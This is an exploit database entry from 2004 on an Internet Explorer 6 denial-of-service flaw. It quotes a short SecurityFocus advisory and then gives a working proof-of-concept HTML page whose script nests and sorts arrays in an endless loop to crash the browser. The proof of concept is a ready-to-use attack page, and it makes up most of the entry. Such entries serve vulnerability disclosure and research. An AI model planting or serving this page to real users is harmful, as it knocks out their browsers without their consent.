Microsoft Internet Explorer 6 - Infinite Array Sort Denial of Service

2004-11-25T00:00:00
ID EXPLOITPACK:33BE7D2E3AE3628295E1C71F49C0D31F
Type exploitpack
Reporter Berend-Jan Wever
Modified 2004-11-25T00:00:00

Description

Microsoft Internet Explorer 6 - Infinite Array Sort Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/11751/info

Microsoft Internet is prone to a vulnerability that may result in a browser crash. This issue is exposed when the browser performs an infinite JavaScript array sort operation. It is conjectured that this will only result in a denial of service and is not further exploitable to execute arbitrary code, though this has not been confirmed.

<HTML>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
<SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
</HTML>